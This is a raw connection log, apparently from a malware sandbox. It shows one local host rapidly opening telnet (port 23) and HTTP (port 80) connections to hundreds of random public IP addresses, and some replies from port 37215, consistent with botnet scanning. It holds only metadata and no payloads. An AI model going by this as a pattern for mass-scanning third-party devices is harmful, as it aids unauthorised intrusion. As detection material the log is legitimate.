Dec 3, 2024 23:16:48.836009026 CET	40602	23	192.168.2.23	222.46.101.168
Dec 3, 2024 23:16:48.836008072 CET	40602	23	192.168.2.23	13.125.255.175
Dec 3, 2024 23:16:48.836009026 CET	40602	23	192.168.2.23	217.246.66.21
Dec 3, 2024 23:16:48.836009026 CET	40602	23	192.168.2.23	182.125.34.91
Dec 3, 2024 23:16:48.836036921 CET	40602	23	192.168.2.23	65.231.58.143
Dec 3, 2024 23:16:48.836036921 CET	40602	23	192.168.2.23	50.67.188.1
Dec 3, 2024 23:16:48.836036921 CET	40602	23	192.168.2.23	24.154.2.113
Dec 3, 2024 23:16:48.836040974 CET	40602	23	192.168.2.23	159.197.91.116
Dec 3, 2024 23:16:48.836042881 CET	40602	23	192.168.2.23	148.118.124.71
Dec 3, 2024 23:16:48.836042881 CET	40602	23	192.168.2.23	191.253.226.66
Dec 3, 2024 23:16:48.836042881 CET	40602	23	192.168.2.23	19.175.163.75
Dec 3, 2024 23:16:48.836044073 CET	40602	23	192.168.2.23	187.140.45.226
Dec 3, 2024 23:16:48.836044073 CET	40602	23	192.168.2.23	212.159.105.170
Dec 3, 2024 23:16:48.836044073 CET	40602	23	192.168.2.23	153.73.91.171
Dec 3, 2024 23:16:48.836044073 CET	40602	23	192.168.2.23	153.29.206.0
Dec 3, 2024 23:16:48.836044073 CET	40602	23	192.168.2.23	102.241.47.121
Dec 3, 2024 23:16:48.836045027 CET	40602	23	192.168.2.23	73.222.228.99
Dec 3, 2024 23:16:48.836045980 CET	40602	23	192.168.2.23	164.17.179.202
Dec 3, 2024 23:16:48.836046934 CET	40602	23	192.168.2.23	210.238.2.53
Dec 3, 2024 23:16:48.836045027 CET	40602	23	192.168.2.23	155.204.84.196
Dec 3, 2024 23:16:48.836045980 CET	40602	23	192.168.2.23	130.26.51.252
Dec 3, 2024 23:16:48.836045027 CET	40602	23	192.168.2.23	159.95.194.31
Dec 3, 2024 23:16:48.836046934 CET	40602	23	192.168.2.23	161.102.154.162
Dec 3, 2024 23:16:48.836045027 CET	40602	23	192.168.2.23	221.126.175.103
Dec 3, 2024 23:16:48.836049080 CET	40602	23	192.168.2.23	78.121.54.7
Dec 3, 2024 23:16:48.836045027 CET	40602	23	192.168.2.23	150.138.125.9
Dec 3, 2024 23:16:48.836045980 CET	40602	23	192.168.2.23	144.163.185.78
Dec 3, 2024 23:16:48.836049080 CET	40602	23	192.168.2.23	129.232.26.218
Dec 3, 2024 23:16:48.836045980 CET	40602	23	192.168.2.23	109.152.20.95
Dec 3, 2024 23:16:48.836050034 CET	40602	23	192.168.2.23	190.225.162.179
Dec 3, 2024 23:16:48.836045980 CET	40602	23	192.168.2.23	195.185.117.121
Dec 3, 2024 23:16:48.836050034 CET	40602	23	192.168.2.23	34.129.188.241
Dec 3, 2024 23:16:48.836050034 CET	40602	23	192.168.2.23	9.28.186.90
Dec 3, 2024 23:16:48.836050034 CET	40602	23	192.168.2.23	9.51.5.162
Dec 3, 2024 23:16:48.836050034 CET	40602	23	192.168.2.23	45.194.173.13
Dec 3, 2024 23:16:48.836055994 CET	40602	23	192.168.2.23	42.48.197.45
Dec 3, 2024 23:16:48.836055994 CET	40602	23	192.168.2.23	220.96.233.235
Dec 3, 2024 23:16:48.836055994 CET	40602	23	192.168.2.23	79.190.48.59
Dec 3, 2024 23:16:48.836055994 CET	40602	23	192.168.2.23	202.54.158.160
Dec 3, 2024 23:16:48.836057901 CET	40602	23	192.168.2.23	110.234.29.16
Dec 3, 2024 23:16:48.836057901 CET	40602	23	192.168.2.23	209.249.112.154
Dec 3, 2024 23:16:48.875866890 CET	37215	50796	156.213.87.168	192.168.2.23
Dec 3, 2024 23:16:48.875961065 CET	37215	56492	41.50.74.64	192.168.2.23
Dec 3, 2024 23:16:48.895443916 CET	80	57858	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:48.895514965 CET	57858	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:48.939691067 CET	23	40602	68.165.229.172	192.168.2.23
Dec 3, 2024 23:16:48.939730883 CET	23	40602	46.118.209.58	192.168.2.23
Dec 3, 2024 23:16:48.939745903 CET	23	40602	218.106.164.220	192.168.2.23
Dec 3, 2024 23:16:48.939762115 CET	23	40602	53.214.98.76	192.168.2.23
Dec 3, 2024 23:16:48.939774036 CET	23	40602	9.114.8.209	192.168.2.23
Dec 3, 2024 23:16:48.939786911 CET	23	40602	151.7.132.213	192.168.2.23
Dec 3, 2024 23:16:48.939795971 CET	23	40602	118.159.70.78	192.168.2.23
Dec 3, 2024 23:16:48.939830065 CET	23	40602	68.49.13.235	192.168.2.23
Dec 3, 2024 23:16:48.939845085 CET	23	40602	179.71.95.49	192.168.2.23
Dec 3, 2024 23:16:48.939863920 CET	40602	23	192.168.2.23	68.165.229.172
Dec 3, 2024 23:16:48.939866066 CET	40602	23	192.168.2.23	46.118.209.58
Dec 3, 2024 23:16:48.939867973 CET	40602	23	192.168.2.23	9.114.8.209
Dec 3, 2024 23:16:48.939867973 CET	40602	23	192.168.2.23	218.106.164.220
Dec 3, 2024 23:16:48.939870119 CET	40602	23	192.168.2.23	53.214.98.76
Dec 3, 2024 23:16:48.939870119 CET	40602	23	192.168.2.23	151.7.132.213
Dec 3, 2024 23:16:48.939878941 CET	23	40602	105.224.205.185	192.168.2.23
Dec 3, 2024 23:16:48.939889908 CET	40602	23	192.168.2.23	118.159.70.78
Dec 3, 2024 23:16:48.939901114 CET	40602	23	192.168.2.23	68.49.13.235
Dec 3, 2024 23:16:48.939919949 CET	40602	23	192.168.2.23	179.71.95.49
Dec 3, 2024 23:16:48.939923048 CET	40602	23	192.168.2.23	105.224.205.185
Dec 3, 2024 23:16:48.958795071 CET	23	40602	39.170.228.252	192.168.2.23
Dec 3, 2024 23:16:48.958843946 CET	23	40602	48.63.22.224	192.168.2.23
Dec 3, 2024 23:16:48.958846092 CET	40602	23	192.168.2.23	39.170.228.252
Dec 3, 2024 23:16:48.958997011 CET	40602	23	192.168.2.23	48.63.22.224
Dec 3, 2024 23:16:49.063380003 CET	48296	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:49.063380003 CET	46904	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:49.063381910 CET	57528	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:49.063381910 CET	50074	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:49.063381910 CET	37540	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:49.063397884 CET	44158	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.063399076 CET	33170	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:49.063400984 CET	46594	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:49.063404083 CET	36526	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:49.063404083 CET	58302	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:49.063404083 CET	59082	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:49.063404083 CET	42810	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:49.063405037 CET	44118	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:49.063405037 CET	35196	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:49.187452078 CET	80	48296	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:49.187470913 CET	80	37540	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:49.187508106 CET	80	46904	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:49.187516928 CET	80	57528	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:49.187526941 CET	80	50074	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:49.187537909 CET	80	33170	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:49.187567949 CET	80	44158	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:49.187577009 CET	80	36526	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:49.187583923 CET	80	59082	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:49.187594891 CET	80	58302	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:49.187607050 CET	48296	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:49.187607050 CET	46904	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:49.187607050 CET	48296	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:49.187613964 CET	50074	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:49.187613964 CET	57528	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:49.187613964 CET	59082	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:49.187614918 CET	37540	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:49.187614918 CET	33170	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:49.187624931 CET	44158	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.187624931 CET	40596	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.187625885 CET	36526	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:49.187627077 CET	40596	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.187633991 CET	40596	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.187635899 CET	40596	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.187635899 CET	40596	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.187635899 CET	58302	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:49.187637091 CET	40596	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.187643051 CET	40596	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.187644958 CET	40596	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.187644958 CET	40596	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.187653065 CET	80	35196	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:49.187653065 CET	40596	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:49.187653065 CET	40596	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.187654972 CET	40596	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.187657118 CET	40596	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.187658072 CET	40596	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.187664032 CET	80	42810	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:49.187665939 CET	40596	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:49.187668085 CET	40596	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:49.187669039 CET	40596	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:49.187669039 CET	40596	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:49.187676907 CET	40596	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:49.187680006 CET	80	44118	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:49.187689066 CET	80	46594	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:49.187688112 CET	42810	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:49.187696934 CET	35196	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:49.187696934 CET	40596	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:49.187706947 CET	40596	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:49.187716007 CET	44118	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:49.187719107 CET	40596	80	192.168.2.23	47.186.89.201
Dec 3, 2024 23:16:49.187724113 CET	46594	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:49.187725067 CET	40596	80	192.168.2.23	86.1.185.226
Dec 3, 2024 23:16:49.187725067 CET	40596	80	192.168.2.23	109.134.82.137
Dec 3, 2024 23:16:49.187726974 CET	40596	80	192.168.2.23	210.168.48.205
Dec 3, 2024 23:16:49.187733889 CET	40596	80	192.168.2.23	204.232.139.73
Dec 3, 2024 23:16:49.187747002 CET	40596	80	192.168.2.23	200.94.54.10
Dec 3, 2024 23:16:49.187747002 CET	40596	80	192.168.2.23	63.173.196.176
Dec 3, 2024 23:16:49.187762022 CET	40596	80	192.168.2.23	141.210.243.126
Dec 3, 2024 23:16:49.187762976 CET	40596	80	192.168.2.23	81.191.210.178
Dec 3, 2024 23:16:49.187766075 CET	40596	80	192.168.2.23	103.196.144.224
Dec 3, 2024 23:16:49.187773943 CET	40596	80	192.168.2.23	81.128.218.64
Dec 3, 2024 23:16:49.187776089 CET	40596	80	192.168.2.23	152.64.199.71
Dec 3, 2024 23:16:49.187788963 CET	40596	80	192.168.2.23	146.232.136.65
Dec 3, 2024 23:16:49.187789917 CET	40596	80	192.168.2.23	73.24.154.103
Dec 3, 2024 23:16:49.187794924 CET	40596	80	192.168.2.23	50.167.149.238
Dec 3, 2024 23:16:49.187797070 CET	40596	80	192.168.2.23	213.188.166.97
Dec 3, 2024 23:16:49.187797070 CET	40596	80	192.168.2.23	146.154.112.50
Dec 3, 2024 23:16:49.187802076 CET	40596	80	192.168.2.23	164.98.198.253
Dec 3, 2024 23:16:49.187815905 CET	40596	80	192.168.2.23	154.16.191.194
Dec 3, 2024 23:16:49.187815905 CET	40596	80	192.168.2.23	5.76.99.23
Dec 3, 2024 23:16:49.187819958 CET	40596	80	192.168.2.23	98.27.228.13
Dec 3, 2024 23:16:49.187830925 CET	40596	80	192.168.2.23	65.94.232.49
Dec 3, 2024 23:16:49.187830925 CET	40596	80	192.168.2.23	108.110.184.103
Dec 3, 2024 23:16:49.187838078 CET	40596	80	192.168.2.23	43.170.133.71
Dec 3, 2024 23:16:49.187845945 CET	40596	80	192.168.2.23	207.143.194.251
Dec 3, 2024 23:16:49.187855959 CET	40596	80	192.168.2.23	40.162.198.194
Dec 3, 2024 23:16:49.187858105 CET	40596	80	192.168.2.23	123.201.7.24
Dec 3, 2024 23:16:49.187860966 CET	40596	80	192.168.2.23	189.103.188.131
Dec 3, 2024 23:16:49.187869072 CET	40596	80	192.168.2.23	136.76.217.96
Dec 3, 2024 23:16:49.187869072 CET	40596	80	192.168.2.23	187.47.211.32
Dec 3, 2024 23:16:49.187869072 CET	40596	80	192.168.2.23	149.235.10.222
Dec 3, 2024 23:16:49.187886953 CET	40596	80	192.168.2.23	111.161.146.165
Dec 3, 2024 23:16:49.187886953 CET	40596	80	192.168.2.23	43.218.106.178
Dec 3, 2024 23:16:49.187891006 CET	40596	80	192.168.2.23	32.167.168.177
Dec 3, 2024 23:16:49.187896967 CET	40596	80	192.168.2.23	142.49.196.186
Dec 3, 2024 23:16:49.187896967 CET	40596	80	192.168.2.23	62.237.147.192
Dec 3, 2024 23:16:49.187899113 CET	40596	80	192.168.2.23	66.50.111.167
Dec 3, 2024 23:16:49.187916040 CET	40596	80	192.168.2.23	100.2.45.122
Dec 3, 2024 23:16:49.187916994 CET	40596	80	192.168.2.23	176.91.57.10
Dec 3, 2024 23:16:49.187920094 CET	40596	80	192.168.2.23	130.95.174.9
Dec 3, 2024 23:16:49.187937975 CET	40596	80	192.168.2.23	54.99.208.135
Dec 3, 2024 23:16:49.187937975 CET	40596	80	192.168.2.23	79.208.152.109
Dec 3, 2024 23:16:49.187941074 CET	40596	80	192.168.2.23	40.252.215.94
Dec 3, 2024 23:16:49.187942028 CET	40596	80	192.168.2.23	211.240.4.192
Dec 3, 2024 23:16:49.187958002 CET	40596	80	192.168.2.23	119.160.180.1
Dec 3, 2024 23:16:49.187958956 CET	40596	80	192.168.2.23	48.205.198.201
Dec 3, 2024 23:16:49.187961102 CET	40596	80	192.168.2.23	219.231.248.148
Dec 3, 2024 23:16:49.187963963 CET	40596	80	192.168.2.23	183.34.251.139
Dec 3, 2024 23:16:49.187963963 CET	40596	80	192.168.2.23	162.78.154.178
Dec 3, 2024 23:16:49.187980890 CET	40596	80	192.168.2.23	212.25.125.18
Dec 3, 2024 23:16:49.187982082 CET	40596	80	192.168.2.23	60.217.243.15
Dec 3, 2024 23:16:49.187983036 CET	40596	80	192.168.2.23	167.228.141.243
Dec 3, 2024 23:16:49.187983036 CET	40596	80	192.168.2.23	17.215.189.150
Dec 3, 2024 23:16:49.187989950 CET	40596	80	192.168.2.23	4.2.140.163
Dec 3, 2024 23:16:49.187997103 CET	40596	80	192.168.2.23	87.192.81.159
Dec 3, 2024 23:16:49.187997103 CET	40596	80	192.168.2.23	142.178.54.183
Dec 3, 2024 23:16:49.187998056 CET	40596	80	192.168.2.23	72.244.236.37
Dec 3, 2024 23:16:49.188009024 CET	40596	80	192.168.2.23	80.127.52.120
Dec 3, 2024 23:16:49.188011885 CET	40596	80	192.168.2.23	197.245.137.120
Dec 3, 2024 23:16:49.188021898 CET	40596	80	192.168.2.23	129.46.77.93
Dec 3, 2024 23:16:49.188031912 CET	40596	80	192.168.2.23	89.213.227.158
Dec 3, 2024 23:16:49.188034058 CET	40596	80	192.168.2.23	223.192.248.46
Dec 3, 2024 23:16:49.188034058 CET	40596	80	192.168.2.23	118.215.148.92
Dec 3, 2024 23:16:49.188034058 CET	40596	80	192.168.2.23	133.188.61.18
Dec 3, 2024 23:16:49.188040018 CET	40596	80	192.168.2.23	147.5.246.213
Dec 3, 2024 23:16:49.188044071 CET	40596	80	192.168.2.23	209.15.118.161
Dec 3, 2024 23:16:49.188045979 CET	40596	80	192.168.2.23	223.251.11.23
Dec 3, 2024 23:16:49.188045025 CET	40596	80	192.168.2.23	217.154.97.79
Dec 3, 2024 23:16:49.188045979 CET	40596	80	192.168.2.23	103.8.135.51
Dec 3, 2024 23:16:49.188045025 CET	40596	80	192.168.2.23	130.54.52.115
Dec 3, 2024 23:16:49.188052893 CET	40596	80	192.168.2.23	82.84.110.167
Dec 3, 2024 23:16:49.188057899 CET	40596	80	192.168.2.23	59.105.16.44
Dec 3, 2024 23:16:49.188060999 CET	40596	80	192.168.2.23	85.155.204.244
Dec 3, 2024 23:16:49.188060999 CET	40596	80	192.168.2.23	175.43.153.179
Dec 3, 2024 23:16:49.188061953 CET	40596	80	192.168.2.23	124.63.15.134
Dec 3, 2024 23:16:49.188066006 CET	40596	80	192.168.2.23	212.154.182.161
Dec 3, 2024 23:16:49.188069105 CET	40596	80	192.168.2.23	186.106.54.49
Dec 3, 2024 23:16:49.188071966 CET	40596	80	192.168.2.23	20.232.134.144
Dec 3, 2024 23:16:49.188080072 CET	40596	80	192.168.2.23	85.181.247.33
Dec 3, 2024 23:16:49.188080072 CET	40596	80	192.168.2.23	64.50.170.253
Dec 3, 2024 23:16:49.188082933 CET	40596	80	192.168.2.23	91.2.148.34
Dec 3, 2024 23:16:49.188083887 CET	40596	80	192.168.2.23	145.153.190.69
Dec 3, 2024 23:16:49.188083887 CET	40596	80	192.168.2.23	110.137.13.115
Dec 3, 2024 23:16:49.188086033 CET	40596	80	192.168.2.23	196.88.138.211
Dec 3, 2024 23:16:49.188102961 CET	40596	80	192.168.2.23	221.173.185.127
Dec 3, 2024 23:16:49.188103914 CET	40596	80	192.168.2.23	128.51.112.61
Dec 3, 2024 23:16:49.188103914 CET	40596	80	192.168.2.23	135.243.125.205
Dec 3, 2024 23:16:49.188122034 CET	40596	80	192.168.2.23	42.36.105.76
Dec 3, 2024 23:16:49.188123941 CET	40596	80	192.168.2.23	75.8.7.233
Dec 3, 2024 23:16:49.188126087 CET	40596	80	192.168.2.23	112.91.211.244
Dec 3, 2024 23:16:49.188126087 CET	40596	80	192.168.2.23	137.143.178.207
Dec 3, 2024 23:16:49.188141108 CET	40596	80	192.168.2.23	141.82.211.210
Dec 3, 2024 23:16:49.188143969 CET	40596	80	192.168.2.23	180.27.23.49
Dec 3, 2024 23:16:49.188148975 CET	40596	80	192.168.2.23	111.237.24.123
Dec 3, 2024 23:16:49.188153028 CET	40596	80	192.168.2.23	187.97.62.241
Dec 3, 2024 23:16:49.188153028 CET	40596	80	192.168.2.23	161.223.111.42
Dec 3, 2024 23:16:49.188157082 CET	40596	80	192.168.2.23	179.37.38.80
Dec 3, 2024 23:16:49.188158989 CET	40596	80	192.168.2.23	209.113.192.197
Dec 3, 2024 23:16:49.188167095 CET	40596	80	192.168.2.23	210.141.79.163
Dec 3, 2024 23:16:49.188184023 CET	40596	80	192.168.2.23	134.171.75.25
Dec 3, 2024 23:16:49.188185930 CET	40596	80	192.168.2.23	72.80.103.45
Dec 3, 2024 23:16:49.188185930 CET	40596	80	192.168.2.23	101.242.209.155
Dec 3, 2024 23:16:49.188194990 CET	40596	80	192.168.2.23	41.50.31.74
Dec 3, 2024 23:16:49.188194990 CET	40596	80	192.168.2.23	129.146.246.220
Dec 3, 2024 23:16:49.188198090 CET	40596	80	192.168.2.23	68.97.18.154
Dec 3, 2024 23:16:49.188198090 CET	40596	80	192.168.2.23	92.0.166.61
Dec 3, 2024 23:16:49.188201904 CET	40596	80	192.168.2.23	169.247.52.14
Dec 3, 2024 23:16:49.188201904 CET	40596	80	192.168.2.23	208.1.5.225
Dec 3, 2024 23:16:49.188205957 CET	40596	80	192.168.2.23	192.149.5.133
Dec 3, 2024 23:16:49.188210011 CET	40596	80	192.168.2.23	58.139.167.110
Dec 3, 2024 23:16:49.188210964 CET	40596	80	192.168.2.23	204.76.56.37
Dec 3, 2024 23:16:49.188215971 CET	40596	80	192.168.2.23	171.145.230.124
Dec 3, 2024 23:16:49.188222885 CET	40596	80	192.168.2.23	12.18.138.164
Dec 3, 2024 23:16:49.188224077 CET	40596	80	192.168.2.23	42.45.59.78
Dec 3, 2024 23:16:49.188222885 CET	40596	80	192.168.2.23	116.172.165.43
Dec 3, 2024 23:16:49.188224077 CET	40596	80	192.168.2.23	38.105.244.147
Dec 3, 2024 23:16:49.188222885 CET	40596	80	192.168.2.23	112.193.1.136
Dec 3, 2024 23:16:49.188222885 CET	40596	80	192.168.2.23	9.118.172.126
Dec 3, 2024 23:16:49.188229084 CET	40596	80	192.168.2.23	157.167.175.86
Dec 3, 2024 23:16:49.188229084 CET	40596	80	192.168.2.23	73.150.70.192
Dec 3, 2024 23:16:49.188232899 CET	40596	80	192.168.2.23	163.90.167.198
Dec 3, 2024 23:16:49.188239098 CET	40596	80	192.168.2.23	101.232.190.39
Dec 3, 2024 23:16:49.188241005 CET	40596	80	192.168.2.23	13.31.97.51
Dec 3, 2024 23:16:49.188241959 CET	40596	80	192.168.2.23	25.189.76.120
Dec 3, 2024 23:16:49.188246012 CET	40596	80	192.168.2.23	35.119.19.245
Dec 3, 2024 23:16:49.188265085 CET	40596	80	192.168.2.23	47.168.212.179
Dec 3, 2024 23:16:49.188265085 CET	40596	80	192.168.2.23	184.147.235.82
Dec 3, 2024 23:16:49.188265085 CET	40596	80	192.168.2.23	218.61.173.217
Dec 3, 2024 23:16:49.188266039 CET	40596	80	192.168.2.23	2.235.241.96
Dec 3, 2024 23:16:49.188265085 CET	40596	80	192.168.2.23	157.32.128.109
Dec 3, 2024 23:16:49.188272953 CET	40596	80	192.168.2.23	204.200.124.251
Dec 3, 2024 23:16:49.188272953 CET	40596	80	192.168.2.23	204.120.208.214
Dec 3, 2024 23:16:49.188276052 CET	40596	80	192.168.2.23	187.65.83.40
Dec 3, 2024 23:16:49.188276052 CET	40596	80	192.168.2.23	170.11.233.7
Dec 3, 2024 23:16:49.188286066 CET	40596	80	192.168.2.23	88.218.99.169
Dec 3, 2024 23:16:49.188294888 CET	40596	80	192.168.2.23	63.251.227.50
Dec 3, 2024 23:16:49.188294888 CET	40596	80	192.168.2.23	124.4.96.5
Dec 3, 2024 23:16:49.188297033 CET	40596	80	192.168.2.23	190.135.1.254
Dec 3, 2024 23:16:49.188313007 CET	40596	80	192.168.2.23	133.145.80.17
Dec 3, 2024 23:16:49.188318014 CET	40596	80	192.168.2.23	142.42.52.52
Dec 3, 2024 23:16:49.188318014 CET	40596	80	192.168.2.23	59.214.249.145
Dec 3, 2024 23:16:49.188318014 CET	40596	80	192.168.2.23	88.232.239.207
Dec 3, 2024 23:16:49.188325882 CET	40596	80	192.168.2.23	136.89.133.209
Dec 3, 2024 23:16:49.188330889 CET	40596	80	192.168.2.23	74.8.231.42
Dec 3, 2024 23:16:49.188343048 CET	40596	80	192.168.2.23	80.56.24.209
Dec 3, 2024 23:16:49.188343048 CET	40596	80	192.168.2.23	149.20.196.162
Dec 3, 2024 23:16:49.188352108 CET	40596	80	192.168.2.23	82.150.139.201
Dec 3, 2024 23:16:49.188364029 CET	40596	80	192.168.2.23	142.163.155.138
Dec 3, 2024 23:16:49.188368082 CET	40596	80	192.168.2.23	34.103.128.189
Dec 3, 2024 23:16:49.188370943 CET	40596	80	192.168.2.23	58.198.169.73
Dec 3, 2024 23:16:49.188373089 CET	40596	80	192.168.2.23	17.30.71.30
Dec 3, 2024 23:16:49.188373089 CET	40596	80	192.168.2.23	181.162.228.156
Dec 3, 2024 23:16:49.188375950 CET	40596	80	192.168.2.23	162.65.38.10
Dec 3, 2024 23:16:49.188383102 CET	40596	80	192.168.2.23	212.40.65.176
Dec 3, 2024 23:16:49.188388109 CET	40596	80	192.168.2.23	166.218.92.112
Dec 3, 2024 23:16:49.188393116 CET	40596	80	192.168.2.23	207.4.210.140
Dec 3, 2024 23:16:49.188399076 CET	40596	80	192.168.2.23	218.47.203.106
Dec 3, 2024 23:16:49.188412905 CET	40596	80	192.168.2.23	221.175.246.90
Dec 3, 2024 23:16:49.188412905 CET	40596	80	192.168.2.23	153.186.55.106
Dec 3, 2024 23:16:49.188412905 CET	40596	80	192.168.2.23	61.189.254.103
Dec 3, 2024 23:16:49.188412905 CET	40596	80	192.168.2.23	122.64.196.233
Dec 3, 2024 23:16:49.188415051 CET	40596	80	192.168.2.23	63.193.235.158
Dec 3, 2024 23:16:49.188426018 CET	40596	80	192.168.2.23	94.220.74.254
Dec 3, 2024 23:16:49.188431978 CET	40596	80	192.168.2.23	213.79.137.173
Dec 3, 2024 23:16:49.188429117 CET	40596	80	192.168.2.23	139.13.140.152
Dec 3, 2024 23:16:49.188429117 CET	40596	80	192.168.2.23	89.35.62.219
Dec 3, 2024 23:16:49.188436985 CET	40596	80	192.168.2.23	12.100.50.188
Dec 3, 2024 23:16:49.188436985 CET	40596	80	192.168.2.23	139.255.109.11
Dec 3, 2024 23:16:49.188436985 CET	40596	80	192.168.2.23	213.177.106.85
Dec 3, 2024 23:16:49.188438892 CET	40596	80	192.168.2.23	35.170.228.4
Dec 3, 2024 23:16:49.188438892 CET	40596	80	192.168.2.23	188.154.221.106
Dec 3, 2024 23:16:49.188441038 CET	40596	80	192.168.2.23	38.140.121.151
Dec 3, 2024 23:16:49.188441038 CET	40596	80	192.168.2.23	62.238.126.13
Dec 3, 2024 23:16:49.188446045 CET	40596	80	192.168.2.23	167.139.15.75
Dec 3, 2024 23:16:49.188446045 CET	40596	80	192.168.2.23	152.239.225.126
Dec 3, 2024 23:16:49.188450098 CET	40596	80	192.168.2.23	108.229.169.231
Dec 3, 2024 23:16:49.188451052 CET	40596	80	192.168.2.23	184.48.71.179
Dec 3, 2024 23:16:49.188452959 CET	40596	80	192.168.2.23	167.160.132.255
Dec 3, 2024 23:16:49.188453913 CET	40596	80	192.168.2.23	35.105.134.44
Dec 3, 2024 23:16:49.188458920 CET	40596	80	192.168.2.23	184.180.139.127
Dec 3, 2024 23:16:49.188465118 CET	40596	80	192.168.2.23	70.64.13.255
Dec 3, 2024 23:16:49.188469887 CET	40596	80	192.168.2.23	143.48.37.235
Dec 3, 2024 23:16:49.188469887 CET	40596	80	192.168.2.23	212.25.125.113
Dec 3, 2024 23:16:49.188471079 CET	40596	80	192.168.2.23	220.27.74.57
Dec 3, 2024 23:16:49.188471079 CET	40596	80	192.168.2.23	152.16.128.121
Dec 3, 2024 23:16:49.188471079 CET	40596	80	192.168.2.23	152.103.103.165
Dec 3, 2024 23:16:49.188472986 CET	40596	80	192.168.2.23	179.28.40.106
Dec 3, 2024 23:16:49.188473940 CET	40596	80	192.168.2.23	96.186.7.228
Dec 3, 2024 23:16:49.188473940 CET	40596	80	192.168.2.23	85.60.70.180
Dec 3, 2024 23:16:49.188473940 CET	40596	80	192.168.2.23	107.217.9.36
Dec 3, 2024 23:16:49.188483000 CET	40596	80	192.168.2.23	162.168.205.168
Dec 3, 2024 23:16:49.188484907 CET	40596	80	192.168.2.23	70.8.169.234
Dec 3, 2024 23:16:49.188484907 CET	40596	80	192.168.2.23	124.110.142.69
Dec 3, 2024 23:16:49.188488007 CET	40596	80	192.168.2.23	179.190.183.169
Dec 3, 2024 23:16:49.188488007 CET	40596	80	192.168.2.23	172.199.36.101
Dec 3, 2024 23:16:49.188488960 CET	40596	80	192.168.2.23	93.127.106.212
Dec 3, 2024 23:16:49.188496113 CET	40596	80	192.168.2.23	210.157.49.194
Dec 3, 2024 23:16:49.188496113 CET	40596	80	192.168.2.23	154.158.91.175
Dec 3, 2024 23:16:49.188496113 CET	40596	80	192.168.2.23	92.80.193.198
Dec 3, 2024 23:16:49.188503027 CET	40596	80	192.168.2.23	68.216.211.121
Dec 3, 2024 23:16:49.188504934 CET	40596	80	192.168.2.23	98.34.216.6
Dec 3, 2024 23:16:49.188505888 CET	40596	80	192.168.2.23	179.131.8.144
Dec 3, 2024 23:16:49.188512087 CET	40596	80	192.168.2.23	186.90.136.142
Dec 3, 2024 23:16:49.188513041 CET	40596	80	192.168.2.23	144.51.130.134
Dec 3, 2024 23:16:49.188513041 CET	40596	80	192.168.2.23	128.153.8.161
Dec 3, 2024 23:16:49.188515902 CET	40596	80	192.168.2.23	44.150.123.46
Dec 3, 2024 23:16:49.188515902 CET	40596	80	192.168.2.23	111.73.49.221
